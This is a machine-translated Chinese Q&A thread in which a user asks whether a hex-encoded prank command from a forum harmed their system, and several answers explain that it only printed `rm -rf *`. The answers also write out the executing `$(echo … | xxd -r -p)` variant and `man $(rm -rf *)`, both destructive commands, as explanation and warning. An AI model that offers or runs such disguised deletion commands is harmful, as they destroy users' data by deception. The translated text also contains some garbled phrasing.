我被欺骗复制粘贴命令,它伤害了我吗?

Rya*_*ure 130 command-line

在一个在线论坛上,有人(我想只是为了跟我一起玩)说要把这个输入终端:

(echo 726d202d7266202a | xxd -r -p)
Run Code Online (Sandbox Code Playgroud)

不要把它放进去,因为我不知道它是否会伤害任何东西。

它在终端返回了这个:

rm -rf *ryanmcclure@RyansLinuxBox:~$
Run Code Online (Sandbox Code Playgroud)

这是删除了什么吗?我想知道,因为我听说rm -rf *删除所有内容的可怕命令。

编辑:正如任何阅读此内容的人都知道的那样,我被告知输入此内容以在终端中查看 ASCII 艺术动画。请注意,这是用来愚弄我的伎俩。

Mic*_*pat 158

不,它没有做任何事情——这只是一个近距离的电话。

括号告诉 bash(shell)在子 shell 中执行内容(这有点毫无意义)。执行的命令echo 726d202d7266202a | xxd -r -p除了向屏幕输出以下文本“rm -rf *”外,什么都不做。如果它将该文本作为命令运行——而不仅仅是将文本输出到屏幕——你就会遇到麻烦。所以无论如何,让这成为一个免费课程,不要从互联网上运行您不理解的命令。

  • @badp 确实如此。它删除当前目录中的所有内容,这意味着 /home/$USERNAME (通常) (33认同)
  • 实际上 `rm -rf /` 是特殊情况,因此特定命令对现代 Linux 系统无害;rm -rf * 会造成严重伤害,因为它可能会删除您的所有个人数据,而这些数据远比操作系统更有价值。 (17认同)
  • 当你以 root 身份运行 `rm -rf /` 时会发生什么实际上很有趣。有人在虚拟机中尝试过,并在超级用户博客上写了这篇文章:http://blog.superuser.com/2011/07/25/the-path-of-destruction-rm-rf/ (7认同)
  • `rm -rf *` _without_ root 有什么作用吗? (6认同)
  • @badp 即使是`/`,递归最终会绕过`/home`,然后是`/home/$USERNAME`,然后一切都会过去。不过,在那之前应该有很多“权限被拒绝”类型的错误。 (2认同)
  • @JeremyBicha,他们应该显示一个验证码让你运行`sudo rm -rf /` :-) (2认同)

Cha*_*Suh 91

本着“授人以渔不如授人以渔”的精神,我建议您在终端中输入man xxd(是的,我是另一个告诉您在终端中输入内容的人......但您应该认识到该man命令是安全的)。

如果您不熟悉echo您也应该检查一下。基本上,您列出的命令将字符串“回显”到标准输出。

|然而渠道标准输出入的标准输入xxd的命令,在这种情况下被设定为字符串以十六进制转换成规则格式化输入。

所以简短的回答是:不,它没有删除任何东西。但它回响rm -rf *在你的屏幕上,这一定让你有点不寒而栗:-)

  • 但请注意:`man $(rm -rf *)` 也是致命的。 (8认同)
  • 在你的机器上盲目输入互联网上的命令之前,你至少应该对它的作用有所了解。如果命令太长,乍一看无法理解,请在 `|` 符号处将其分解。确实,如果您不知道该命令,请务必查看手册页。它会保护你免受这类人的伤害,每次你都会学到一些东西。 (7认同)
  • `man` 命令可能是唯一一个在终端和互联网浏览器中给出相同结果的命令。 (3认同)
  • 我讨厌得到两个很好的答案,但我必须把它交给迈克尔,仅仅因为他比你领先一分钟。:( 但是,这个答案还是不错的!我可能应该熟悉 echo... :) (2认同)

小智 35

攻击者可能打算让您粘贴$(echo 726d202d7266202a | xxd -r -p)到您的外壳中。 xxd 将 726d202d7266202a 解码为rm -rf *,然后执行。

  • 我猜他(受害者)忽略了`$`,因为他认为这是提示而不是命令的一部分:) (18认同)
  • 或者也许他毕竟不是一个非常坏的人......:D (2认同)